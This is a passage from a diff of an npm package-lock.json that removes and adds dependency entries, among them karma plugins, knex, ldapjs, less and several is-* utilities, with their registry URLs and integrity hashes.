+- "resolved": "https://registry.npmjs.org/yargs/-/yargs-16.2.0.tgz",
+- "integrity": "sha512-D1mvvtDG0L5ft/jGWkLpG1+m0eQxOfaBvTNELraWj22wSVUMWxZUvYgJYcKh6jGGIkJFhH4IZPQhR4TKpc8mBw==",
+- "dev": true,
+- "requires": {
+- "cliui": "^7.0.2",
+- "escalade": "^3.1.1",
+- "get-caller-file": "^2.0.5",
+- "require-directory": "^2.1.1",
+- "string-width": "^4.2.0",
+- "y18n": "^5.0.5",
+- "yargs-parser": "^20.2.2"
+- }
+- }
+- }
+- },
+- "karma-chai-sinon": {
+- "version": "0.1.5",
+- "resolved": "https://registry.npmjs.org/karma-chai-sinon/-/karma-chai-sinon-0.1.5.tgz",
+- "integrity": "sha1-XDksqVJHgYlR1rV5AvAsNugDdTo=",
+- "dev": true,
+- "requires": {}
+- },
+- "karma-chrome-launcher": {
+- "version": "3.1.0",
+- "resolved": "https://registry.npmjs.org/karma-chrome-launcher/-/karma-chrome-launcher-3.1.0.tgz",
+- "integrity": "sha512-3dPs/n7vgz1rxxtynpzZTvb9y/GIaW8xjAwcIGttLbycqoFtI7yo1NGnQi6oFTherRE+GIhCAHZC4vEqWGhNvg==",
+- "dev": true,
+- "requires": {
+- "which": "^1.2.1"
+- },
+- "dependencies": {
+- "which": {
+- "version": "1.3.1",
+- "resolved": "https://registry.npmjs.org/which/-/which-1.3.1.tgz",
+- "integrity": "sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ==",
+- "dev": true,
+- "requires": {
+- "isexe": "^2.0.0"
+- }
+- }
+- }
+- },
+- "karma-mocha": {
+- "version": "2.0.1",
+- "resolved": "https://registry.npmjs.org/karma-mocha/-/karma-mocha-2.0.1.tgz",
+- "integrity": "sha512-Tzd5HBjm8his2OA4bouAsATYEpZrp9vC7z5E5j4C5Of5Rrs1jY67RAwXNcVmd/Bnk1wgvQRou0zGVLey44G4tQ==",
+- "dev": true,
+- "requires": {
+- "minimist": "^1.2.3"
+- },
+- "dependencies": {
+- "minimist": {
+- "version": "1.2.5",
+- "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.5.tgz",
+- "integrity": "sha512-FM9nNUYrRBAELZQT3xeZQ7fmMOBg6nWNmJKTcgsJeaLstP/UODVpGsr5OhXhhXg6f+qtJ8uiZ+PUxkDWcgIXLw==",
+- "dev": true
+- }
+- }
+- },
+- "karma-mocha-reporter": {
+- "version": "2.2.5",
+- "resolved": "https://registry.npmjs.org/karma-mocha-reporter/-/karma-mocha-reporter-2.2.5.tgz",
+- "integrity": "sha1-FRIAlejtgZGG5HoLAS8810GJVWA=",
+- "dev": true,
+- "requires": {
+- "chalk": "^2.1.0",
+- "log-symbols": "^2.1.0",
+- "strip-ansi": "^4.0.0"
+- },
+- "dependencies": {
+- "ansi-regex": {
+- "version": "3.0.0",
+- "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-3.0.0.tgz",
+- "integrity": "sha1-7QMXwyIGT3lGbAKWa922Bas32Zg=",
+- "dev": true
+- },
+- "log-symbols": {
+- "version": "2.2.0",
+- "resolved": "https://registry.npmjs.org/log-symbols/-/log-symbols-2.2.0.tgz",
+- "integrity": "sha512-VeIAFslyIerEJLXHziedo2basKbMKtTw3vfn5IzG0XTjhAVEJyNHnL2p7vc+wBDSdQuUpNw3M2u6xb9QsAY5Eg==",
+- "dev": true,
+- "requires": {
+- "chalk": "^2.0.1"
+- }
+- },
+- "strip-ansi": {
+- "version": "4.0.0",
+- "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-4.0.0.tgz",
+- "integrity": "sha1-qEeQIusaw2iocTibY1JixQXuNo8=",
+- "dev": true,
+- "requires": {
+- "ansi-regex": "^3.0.0"
+- }
+- }
+- }
+- },
+- "karma-requirejs": {
+- "version": "1.1.0",
+- "resolved": "https://registry.npmjs.org/karma-requirejs/-/karma-requirejs-1.1.0.tgz",
+- "integrity": "sha1-/driy4fX68FvsCIok1ZNf+5Xh5g=",
+- "dev": true,
+- "requires": {}
+- },
+- "keycode": {
+- "version": "2.2.1",
+- "resolved": "https://registry.npmjs.org/keycode/-/keycode-2.2.1.tgz",
+- "integrity": "sha512-Rdgz9Hl9Iv4QKi8b0OlCRQEzp4AgVxyCtz5S/+VIHezDmrDhkp2N2TqBWOLz0/gbeREXOOiI9/4b8BY9uw2vFg=="
+- },
+- "keyv": {
+- "version": "3.1.0",
+- "resolved": "https://registry.npmjs.org/keyv/-/keyv-3.1.0.tgz",
+- "integrity": "sha512-9ykJ/46SN/9KPM/sichzQ7OvXyGDYKGTaDlKMGCAlg2UK8KRy4jb0d8sFc+0Tt0YYnThq8X2RZgCg74RPxgcVA==",
+- "requires": {
+- "json-buffer": "3.0.0"
+- }
+- },
+- "kind-of": {
+- "version": "6.0.3",
+- "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.3.tgz",
+- "integrity": "sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw=="
+- },
+- "klaw": {
+- "version": "4.0.1",
+- "resolved": "https://registry.npmjs.org/klaw/-/klaw-4.0.1.tgz",
+- "integrity": "sha512-pgsE40/SvC7st04AHiISNewaIMUbY5V/K8b21ekiPiFoYs/EYSdsGa+FJArB1d441uq4Q8zZyIxvAzkGNlBdRw==",
+- "dev": true
+- },
+- "klaw-sync": {
+- "version": "6.0.0",
+- "resolved": "https://registry.npmjs.org/klaw-sync/-/klaw-sync-6.0.0.tgz",
+- "integrity": "sha512-nIeuVSzdCCs6TDPTqI8w1Yre34sSq7AkZ4B3sfOBbI2CgVSB4Du4aLQijFU2+lhAFCwt9+42Hel6lQNIv6AntQ==",
+- "requires": {
+- "graceful-fs": "^4.1.11"
+- }
+- },
+- "klona": {
+- "version": "2.0.5",
+- "resolved": "https://registry.npmjs.org/klona/-/klona-2.0.5.tgz",
+- "integrity": "sha512-pJiBpiXMbt7dkzXe8Ghj/u4FfXOOa98fPW+bihOJ4SjnoijweJrNThJfd3ifXpXhREjpoF2mZVH1GfS9LV3kHQ==",
+- "dev": true
+- },
+- "knex": {
+- "version": "0.21.21",
+- "resolved": "https://registry.npmjs.org/knex/-/knex-0.21.21.tgz",
+- "integrity": "sha512-cjw5qO1EzVKjbywcVa61IQJMLt7PfYBRI/2NwCA/B9beXgbw652wDNLz+JM+UKKNsfwprq0ugYqBYc9q4JN36A==",
+- "requires": {
+- "colorette": "1.2.1",
+- "commander": "^6.2.0",
+- "debug": "4.3.1",
+- "esm": "^3.2.25",
+- "getopts": "2.2.5",
+- "interpret": "^2.2.0",
+- "liftoff": "3.1.0",
+- "lodash": "^4.17.20",
+- "pg-connection-string": "2.4.0",
+- "tarn": "^3.0.1",
+- "tildify": "2.0.0",
+- "v8flags": "^3.2.0"
+- },
+- "dependencies": {
+- "commander": {
+- "version": "6.2.1",
+- "resolved": "https://registry.npmjs.org/commander/-/commander-6.2.1.tgz",
+- "integrity": "sha512-U7VdrJFnJgo4xjrHpTzu0yrHPGImdsmD95ZlgYSEajAn2JKzDhDTPG9kBTefmObL2w/ngeZnilk+OV9CG3d7UA=="
+- },
+- "debug": {
+- "version": "4.3.1",
+- "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz",
+- "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==",
+- "requires": {
+- "ms": "2.1.2"
+- }
+- },
+- "ms": {
+- "version": "2.1.2",
+- "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
+- "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w=="
+- },
+- "pg-connection-string": {
+- "version": "2.4.0",
+- "resolved": "https://registry.npmjs.org/pg-connection-string/-/pg-connection-string-2.4.0.tgz",
+- "integrity": "sha512-3iBXuv7XKvxeMrIgym7njT+HlZkwZqqGX4Bu9cci8xHZNT+Um1gWKqCsAzcC0d95rcKMU5WBg6YRUcHyV0HZKQ=="
+- }
+- }
+- },
+- "knox": {
+- "version": "0.9.2",
+- "resolved": "https://registry.npmjs.org/knox/-/knox-0.9.2.tgz",
+- "integrity": "sha1-NzZZNmniTwJP2vcjtqHcSv2DmnE=",
+- "requires": {
+- "debug": "^1.0.2",
+- "mime": "*",
+- "once": "^1.3.0",
+- "stream-counter": "^1.0.0",
+- "xml2js": "^0.4.4"
+- },
+- "dependencies": {
+- "debug": {
+- "version": "1.0.5",
+- "resolved": "https://registry.npmjs.org/debug/-/debug-1.0.5.tgz",
+- "integrity": "sha1-9yQSF0MPmd7EwrRz6rkiKOh0wqw=",
+- "requires": {
+- "ms": "2.0.0"
+- }
+- },
+- "ms": {
+- "version": "2.0.0",
+- "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz",
+- "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g="
+- }
+- }
+- },
+- "kubernetes-client": {
+- "version": "8.3.7",
+- "resolved": "https://registry.npmjs.org/kubernetes-client/-/kubernetes-client-8.3.7.tgz",
+- "integrity": "sha512-A0rvfQAvwAuPTooBOSErpTcnwcQxhkmawjOm/gUdGDWCUZoYmAVgVGFnc/klda+X1tvHwleavDsLqmqaYscH2w==",
+- "requires": {
+- "@kubernetes/client-node": "0.10.2",
+- "camelcase": "^6.0.0",
+- "deepmerge": "^4.2.2",
+- "depd": "^2.0.0",
+- "js-yaml": "^3.13.1",
+- "json-stream": "^1.0.0",
+- "openid-client": "^3.14.0",
+- "pump": "^3.0.0",
+- "qs": "^6.9.0",
+- "request": "^2.88.2",
+- "swagger-fluent": "^5.0.1",
+- "url-join": "^4.0.1",
+- "ws": "^7.2.3"
+- },
+- "dependencies": {
+- "argparse": {
+- "version": "1.0.10",
+- "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz",
+- "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==",
+- "requires": {
+- "sprintf-js": "~1.0.2"
+- }
+- },
+- "depd": {
+- "version": "2.0.0",
+- "resolved": "https://registry.npmjs.org/depd/-/depd-2.0.0.tgz",
+- "integrity": "sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw=="
+- },
+- "js-yaml": {
+- "version": "3.14.1",
+- "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.14.1.tgz",
+- "integrity": "sha512-okMH7OXXJ7YrN9Ok3/SXrnu4iX9yOk+25nqX4imS2npuvTYDmo/QEZoqwZkYaIDk3jVvBOTOIEgEhaLOynBS9g==",
+- "requires": {
+- "argparse": "^1.0.7",
+- "esprima": "^4.0.0"
+- }
+- },
+- "ws": {
+- "version": "7.5.6",
+- "resolved": "https://registry.npmjs.org/ws/-/ws-7.5.6.tgz",
+- "integrity": "sha512-6GLgCqo2cy2A2rjCNFlxQS6ZljG/coZfZXclldI8FB/1G3CCI36Zd8xy2HrFVACi8tfk5XrgLQEk+P0Tnz9UcA==",
+- "requires": {}
+- }
+- }
+- },
+- "language-subtag-registry": {
+- "version": "0.3.21",
+- "resolved": "https://registry.npmjs.org/language-subtag-registry/-/language-subtag-registry-0.3.21.tgz",
+- "integrity": "sha512-L0IqwlIXjilBVVYKFT37X9Ih11Um5NEl9cbJIuU/SwP/zEEAbBPOnEeeuxVMf45ydWQRDQN3Nqc96OgbH1K+Pg==",
+- "dev": true
+- },
+- "language-tags": {
+- "version": "1.0.5",
+- "resolved": "https://registry.npmjs.org/language-tags/-/language-tags-1.0.5.tgz",
+- "integrity": "sha1-0yHbxNowuovzAk4ED6XBRmH5GTo=",
+- "dev": true,
+- "requires": {
+- "language-subtag-registry": "~0.3.2"
+- }
+- },
+- "lazy-ass": {
+- "version": "1.6.0",
+- "resolved": "https://registry.npmjs.org/lazy-ass/-/lazy-ass-1.6.0.tgz",
+- "integrity": "sha1-eZllXoZGwX8In90YfRUNMyTVRRM=",
+- "dev": true
+- },
+- "lazy-cache": {
+- "version": "2.0.2",
+- "resolved": "https://registry.npmjs.org/lazy-cache/-/lazy-cache-2.0.2.tgz",
+- "integrity": "sha1-uRkKT5EzVGlIQIWfio9whNiCImQ=",
+- "dev": true,
+- "requires": {
+- "set-getter": "^0.1.0"
+- }
+- },
+- "lazystream": {
+- "version": "1.0.1",
+- "resolved": "https://registry.npmjs.org/lazystream/-/lazystream-1.0.1.tgz",
+- "integrity": "sha512-b94GiNHQNy6JNTrt5w6zNyffMrNkXZb3KTkCZJb2V1xaEGCk093vkZ2jk3tpaeP33/OiXC+WvK9AxUebnf5nbw==",
+- "requires": {
+- "readable-stream": "^2.0.5"
+- },
+- "dependencies": {
+- "isarray": {
+- "version": "1.0.0",
+- "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz",
+- "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE="
+- },
+- "readable-stream": {
+- "version": "2.3.7",
+- "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz",
+- "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==",
+- "requires": {
+- "core-util-is": "~1.0.0",
+- "inherits": "~2.0.3",
+- "isarray": "~1.0.0",
+- "process-nextick-args": "~2.0.0",
+- "safe-buffer": "~5.1.1",
+- "string_decoder": "~1.1.1",
+- "util-deprecate": "~1.0.1"
+- }
+- },
+- "string_decoder": {
+- "version": "1.1.1",
+- "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz",
+- "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==",
+- "requires": {
+- "safe-buffer": "~5.1.0"
+- }
+- }
+- }
+- },
+- "ldap-filter": {
+- "version": "0.2.2",
+- "resolved": "https://registry.npmjs.org/ldap-filter/-/ldap-filter-0.2.2.tgz",
+- "integrity": "sha1-8rhCvguG2jNSeYUFsx68rlkNd9A=",
+- "requires": {
+- "assert-plus": "0.1.5"
+- }
+- },
+- "ldapauth-fork": {
+- "version": "4.3.3",
+- "resolved": "https://registry.npmjs.org/ldapauth-fork/-/ldapauth-fork-4.3.3.tgz",
+- "integrity": "sha512-x76VpQ5ZqkwAJmqwcD6KIwDiNEbgIGIPGwC/eA17e1dxWhlTx36w0DlLOFwjTuZ2iuaLTsZsUprlVqvSlwc/1Q==",
+- "requires": {
+- "@types/ldapjs": "^1.0.0",
+- "@types/node": "*",
+- "bcryptjs": "^2.4.0",
+- "ldapjs": "^1.0.2",
+- "lru-cache": "^5.1.1"
+- },
+- "dependencies": {
+- "asn1": {
+- "version": "0.2.3",
+- "resolved": "https://registry.npmjs.org/asn1/-/asn1-0.2.3.tgz",
+- "integrity": "sha1-2sh4dxPJlmhJ/IGAd36+nB3fO4Y="
+- },
+- "assert-plus": {
+- "version": "1.0.0",
+- "resolved": "https://registry.npmjs.org/assert-plus/-/assert-plus-1.0.0.tgz",
+- "integrity": "sha1-8S4PPF13sLHN2RRpQuTpbB5N1SU="
+- },
+- "extsprintf": {
+- "version": "1.2.0",
+- "resolved": "https://registry.npmjs.org/extsprintf/-/extsprintf-1.2.0.tgz",
+- "integrity": "sha1-WtlGwi9bMrp/jNdCZxHG6KP8JSk="
+- },
+- "ldapjs": {
+- "version": "1.0.2",
+- "resolved": "https://registry.npmjs.org/ldapjs/-/ldapjs-1.0.2.tgz",
+- "integrity": "sha1-VE/3Ayt7g8aPBwEyjZKXqmlDQPk=",
+- "requires": {
+- "asn1": "0.2.3",
+- "assert-plus": "^1.0.0",
+- "backoff": "^2.5.0",
+- "bunyan": "^1.8.3",
+- "dashdash": "^1.14.0",
+- "dtrace-provider": "~0.8",
+- "ldap-filter": "0.2.2",
+- "once": "^1.4.0",
+- "vasync": "^1.6.4",
+- "verror": "^1.8.1"
+- }
+- },
+- "vasync": {
+- "version": "1.6.4",
+- "resolved": "https://registry.npmjs.org/vasync/-/vasync-1.6.4.tgz",
+- "integrity": "sha1-3+k2Fq0OeugBszKp2Iv8XNyOHR8=",
+- "requires": {
+- "verror": "1.6.0"
+- },
+- "dependencies": {
+- "verror": {
+- "version": "1.6.0",
+- "resolved": "https://registry.npmjs.org/verror/-/verror-1.6.0.tgz",
+- "integrity": "sha1-fROyex+swuLakEBetepuW90lLqU=",
+- "requires": {
+- "extsprintf": "1.2.0"
+- }
+- }
+- }
+- }
+- }
+- },
+- "ldapjs": {
+- "version": "0.7.1",
+- "resolved": "https://registry.npmjs.org/ldapjs/-/ldapjs-0.7.1.tgz",
+- "integrity": "sha1-aEeYpodkC6sa+9gCz1MvMEkt+1Y=",
+- "requires": {
+- "asn1": "0.2.1",
+- "assert-plus": "0.1.5",
+- "bunyan": "0.22.1",
+- "dtrace-provider": "0.2.8",
+- "nopt": "2.1.1",
+- "pooling": "0.4.6"
+- },
+- "dependencies": {
+- "bunyan": {
+- "version": "0.22.1",
+- "resolved": "https://registry.npmjs.org/bunyan/-/bunyan-0.22.1.tgz",
+- "integrity": "sha1-Agw4O+1iWvXGyINN2MSsoN0Pdlw=",
+- "requires": {
+- "dtrace-provider": "0.2.8",
+- "mv": "0.0.5"
+- }
+- },
+- "dtrace-provider": {
+- "version": "0.2.8",
+- "resolved": "https://registry.npmjs.org/dtrace-provider/-/dtrace-provider-0.2.8.tgz",
+- "integrity": "sha1-4kPxkhmqlfvw2PL/sH9b1k6U/iA=",
+- "optional": true
+- },
+- "mv": {
+- "version": "0.0.5",
+- "resolved": "https://registry.npmjs.org/mv/-/mv-0.0.5.tgz",
+- "integrity": "sha1-FerHWUeYhN8RMdbeVrziC2VPU5E=",
+- "optional": true
+- },
+- "nopt": {
+- "version": "2.1.1",
+- "resolved": "https://registry.npmjs.org/nopt/-/nopt-2.1.1.tgz",
+- "integrity": "sha1-ket8SwF+fACtytH9bWOUTQ/bdcE=",
+- "requires": {
+- "abbrev": "1"
+- }
+- }
+- }
+- },
+- "lead": {
+- "version": "1.0.0",
+- "resolved": "https://registry.npmjs.org/lead/-/lead-1.0.0.tgz",
+- "integrity": "sha1-bxT5mje+Op3XhPVJVpDlkDRm7kI=",
+- "dev": true,
+- "requires": {
+- "flush-write-stream": "^1.0.2"
+- }
+- },
+- "less": {
+- "version": "3.13.1",
+- "resolved": "https://registry.npmjs.org/less/-/less-3.13.1.tgz",
+- "integrity": "sha512-SwA1aQXGUvp+P5XdZslUOhhLnClSLIjWvJhmd+Vgib5BFIr9lMNlQwmwUNOjXThF/A0x+MCYYPeWEfeWiLRnTw==",
+- "dev": true,
+- "requires": {
+- "copy-anything": "^2.0.1",
+- "errno": "^0.1.1",
+- "graceful-fs": "^4.1.2",
+- "image-size": "~0.5.0",
+- "make-dir": "^2.1.0",
+- "mime": "^1.4.1",
+- "native-request": "^1.0.5",
+- "source-map": "~0.6.0",
+- "tslib": "^1.10.0"
+- },
+- "dependencies": {
+- "mime": {
+- "version": "1.6.0",
+- "resolved": "https://registry.npmjs.org/mime/-/mime-1.6.0.tgz",
+- "integrity": "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg==",
+- "dev": true,
+- "optional": true
+- },
+- "source-map": {
+- "version": "0.6.1",
+- "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz",
+- "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==",
+- "dev": true,
+- "optional": true
+- },
+- "tslib": {
+- "version": "1.14.1",
+- "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.14.1.tgz",
+- "integrity": "sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg==",
+- "dev": true
+- }
+- }
+- },
+- "less-plugin-autoprefix": {
+- "version": "2.0.0",
+- "resolved": "https://registry.npmjs.org/less-plugin-autoprefix/-/less-plugin-autoprefix-2.0.0.tgz",
+- "integrity": "sha512-UktaMtHAhCVTIQxjlceo1MiiQiUZws7gi3hfcpxkCLn1CJdVdlRGCb4n1/M64hniw2DLd7YzOl7ojshs1tWYcQ==",
+- "dev": true,
+- "requires": {
+- "autoprefixer": "^8.6.3",
+- "postcss": "^6.0.22"
+- },
+- "dependencies": {
+- "autoprefixer": {
+- "version": "8.6.5",
+- "resolved": "https://registry.npmjs.org/autoprefixer/-/autoprefixer-8.6.5.tgz",
+- "integrity": "sha512-PLWJN3Xo/rycNkx+mp8iBDMTm3FeWe4VmYaZDSqL5QQB9sLsQkG5k8n+LNDFnhh9kdq2K+egL/icpctOmDHwig==",
+- "dev": true,
+- "requires": {
+- "browserslist": "^3.2.8",
+- "caniuse-lite": "^1.0.30000864",
+- "normalize-range": "^0.1.2",
+- "num2fraction": "^1.2.2",
+- "postcss": "^6.0.23",
+- "postcss-value-parser": "^3.2.3"
+- }
+- },
+- "browserslist": {
+- "version": "3.2.8",
+- "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-3.2.8.tgz",
+- "integrity": "sha512-WHVocJYavUwVgVViC0ORikPHQquXwVh939TaelZ4WDqpWgTX/FsGhl/+P4qBUAGcRvtOgDgC+xftNWWp2RUTAQ==",
+- "dev": true,
+- "requires": {
+- "caniuse-lite": "^1.0.30000844",
+- "electron-to-chromium": "^1.3.47"
+- }
+- },
+- "has-flag": {
+- "version": "3.0.0",
+- "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz",
+- "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=",
+- "dev": true
+- },
+- "postcss": {
+- "version": "6.0.23",
+- "resolved": "https://registry.npmjs.org/postcss/-/postcss-6.0.23.tgz",
+- "integrity": "sha512-soOk1h6J3VMTZtVeVpv15/Hpdl2cBLX3CAw4TAbkpTJiNPk9YP/zWcD1ND+xEtvyuuvKzbxliTOIyvkSeSJ6ag==",
+- "dev": true,
+- "requires": {
+- "chalk": "^2.4.1",
+- "source-map": "^0.6.1",
+- "supports-color": "^5.4.0"
+- }
+- },
+- "postcss-value-parser": {
+- "version": "3.3.1",
+- "resolved": "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-3.3.1.tgz",
+- "integrity": "sha512-pISE66AbVkp4fDQ7VHBwRNXzAAKJjw4Vw7nWI/+Q3vuly7SNfgYXvm6i5IgFylHGK5sP/xHAbB7N49OS4gWNyQ==",
+- "dev": true
+- },
+- "source-map": {
+- "version": "0.6.1",
+- "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz",
+- "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==",
+- "dev": true
+- },
+- "supports-color": {
+- "version": "5.5.0",
+- "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz",
+- "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==",
++ "integrity": "sha512-dqJvarLawXsFbNDeJW7zAz8ItJ9cd28YufuuFzh0G8pNHjJMnY08Dv7sYX2uF5UpQOwieAeOExEYAWWfu7ZZUA=="
++ },
++ "is-number": {
++ "version": "2.1.0",
++ "resolved": "https://registry.npmjs.org/is-number/-/is-number-2.1.0.tgz",
++ "integrity": "sha1-Afy7s5NGOlSPL0ZszhbezknbkI8=",
++ "dev": true,
++ "requires": {
++ "kind-of": "^3.0.2"
++ },
++ "dependencies": {
++ "kind-of": {
++ "version": "3.2.2",
++ "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz",
++ "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=",
+ "dev": true,
+ "requires": {
+- "has-flag": "^3.0.0"
++ "is-buffer": "^1.1.5"
+ }
+ }
+ }
+ },
+- "levn": {
+- "version": "0.4.1",
+- "resolved": "https://registry.npmjs.org/levn/-/levn-0.4.1.tgz",
+- "integrity": "sha512-+bT2uH4E5LGE7h/n3evcS/sQlJXCpIp6ym8OWJ5eV6+67Dsql/LaaT7qJBAt2rzfoa/5QBGBhxDix1dMt2kQKQ==",
+- "dev": true,
++ "is-number-object": {
++ "version": "1.0.6",
++ "resolved": "https://registry.npmjs.org/is-number-object/-/is-number-object-1.0.6.tgz",
++ "integrity": "sha512-bEVOqiRcvo3zO1+G2lVMy+gkkEm9Yh7cDMRusKKu5ZJKPUYSJwICTKZrNKHA2EbSP0Tu0+6B/emsYNHZyn6K8g==",
+ "requires": {
+- "prelude-ls": "^1.2.1",
+- "type-check": "~0.4.0"
++ "has-tostringtag": "^1.0.0"
+ }
+ },
+- "liftoff": {
+- "version": "3.1.0",
+- "resolved": "https://registry.npmjs.org/liftoff/-/liftoff-3.1.0.tgz",
+- "integrity": "sha512-DlIPlJUkCV0Ips2zf2pJP0unEoT1kwYhiiPUGF3s/jtxTCjziNLoiVVh+jqWOWeFi6mmwQ5fNxvAUyPad4Dfog==",
++ "is-obj": {
++ "version": "2.0.0",
++ "resolved": "https://registry.npmjs.org/is-obj/-/is-obj-2.0.0.tgz",
++ "integrity": "sha512-drqDG3cbczxxEJRoOXcOjtdp1J/lyp1mNn0xaznRs8+muBhgQcrnbspox5X5fOw0HnMnbfDzvnEMEtqDEJEo8w=="
++ },
++ "is-path-cwd": {
++ "version": "2.2.0",
++ "resolved": "https://registry.npmjs.org/is-path-cwd/-/is-path-cwd-2.2.0.tgz",
++ "integrity": "sha512-w942bTcih8fdJPJmQHFzkS76NEP8Kzzvmw92cXsazb8intwLqPibPPdXf4ANdKV3rYMuuQYGIWtvz9JilB3NFQ==",
++ "devOptional": true
++ },
++ "is-path-inside": {
++ "version": "3.0.3",
++ "resolved": "https://registry.npmjs.org/is-path-inside/-/is-path-inside-3.0.3.tgz",
++ "integrity": "sha512-Fd4gABb+ycGAmKou8eMftCupSir5lRxqf4aD/vd0cD2qc4HL07OjCeuHMr8Ro4CoMaeCKDB0/ECBOVWjTwUvPQ==",
++ "devOptional": true
++ },
++ "is-plain-object": {
++ "version": "2.0.4",
++ "resolved": "https://registry.npmjs.org/is-plain-object/-/is-plain-object-2.0.4.tgz",
++ "integrity": "sha512-h5PpgXkWitc38BBMYawTYMWJHFZJVnBquFE57xFpjB8pJFiF6gZ+bU+WyI/yqXiFR5mdLsgYNaPe8uao6Uv9Og==",
++ "dev": true,
+ "requires": {
+- "extend": "^3.0.0",
+- "findup-sync": "^3.0.0",
+- "fined": "^1.0.1",
+- "flagged-respawn": "^1.0.0",
+- "is-plain-object": "^2.0.4",
+- "object.map": "^1.0.0",
+- "rechoir": "^0.6.2",
+- "resolve": "^1.1.7"
++ "isobject": "^3.0.1"
+ }
+ },
+- "lilconfig": {
+- "version": "2.0.5",
+- "resolved": "https://registry.npmjs.org/lilconfig/-/lilconfig-2.0.5.tgz",
+- "integrity": "sha512-xaYmXZtTHPAw5m+xLN8ab9C+3a8YmV3asNSPOATITbtwrfbwaLJj8h66H1WMIpALCkqsIzK3h7oQ+PdX+LQ9Eg==",
++ "is-potential-custom-element-name": {
++ "version": "1.0.1",
++ "resolved": "https://registry.npmjs.org/is-potential-custom-element-name/-/is-potential-custom-element-name-1.0.1.tgz",
++ "integrity": "sha512-bCYeRA2rVibKZd+s2625gGnGF/t7DSqDs4dP7CrLA1m7jKWz6pps0LpYLJN8Q64HtmPKJ1hrN3nzPNKFEKOUiQ==",
+ "dev": true
+ },
+- "line-reader": {
+- "version": "0.2.4",
+- "resolved": "https://registry.npmjs.org/line-reader/-/line-reader-0.2.4.tgz",
+- "integrity": "sha1-xDkrWH3qOFgMlnhXDm6OSfzlJiI="
+- },
+- "lines-and-columns": {
+- "version": "1.2.4",
+- "resolved": "https://registry.npmjs.org/lines-and-columns/-/lines-and-columns-1.2.4.tgz",
+- "integrity": "sha512-7ylylesZQ/PV29jhEDl3Ufjo6ZX7gCqJr5F7PKrqc93v7fzSymt1BpwEU8nAUXs8qzzvqhbjhK5QZg6Mt/HkBg==",
+- "dev": true
++ "is-promise": {
++ "version": "2.2.2",
++ "resolved": "https://registry.npmjs.org/is-promise/-/is-promise-2.2.2.tgz",
++ "integrity": "sha512-+lP4/6lKUBfQjZ2pdxThZvLUAafmZb8OAxFb8XXtiQmS35INgr85hdOGoEs124ez1FCnZJt6jau/T+alh58QFQ=="
+ },
+- "linkify-it": {
+- "version": "3.0.3",
+- "resolved": "https://registry.npmjs.org/linkify-it/-/linkify-it-3.0.3.tgz",
+- "integrity": "sha512-ynTsyrFSdE5oZ/O9GEf00kPngmOfVwazR5GKDq6EYfhlpFug3J2zybX56a2PRRpc9P+FuSoGNAwjlbDs9jJBPQ==",
+- "dev": true,
++ "is-regex": {
++ "version": "1.1.4",
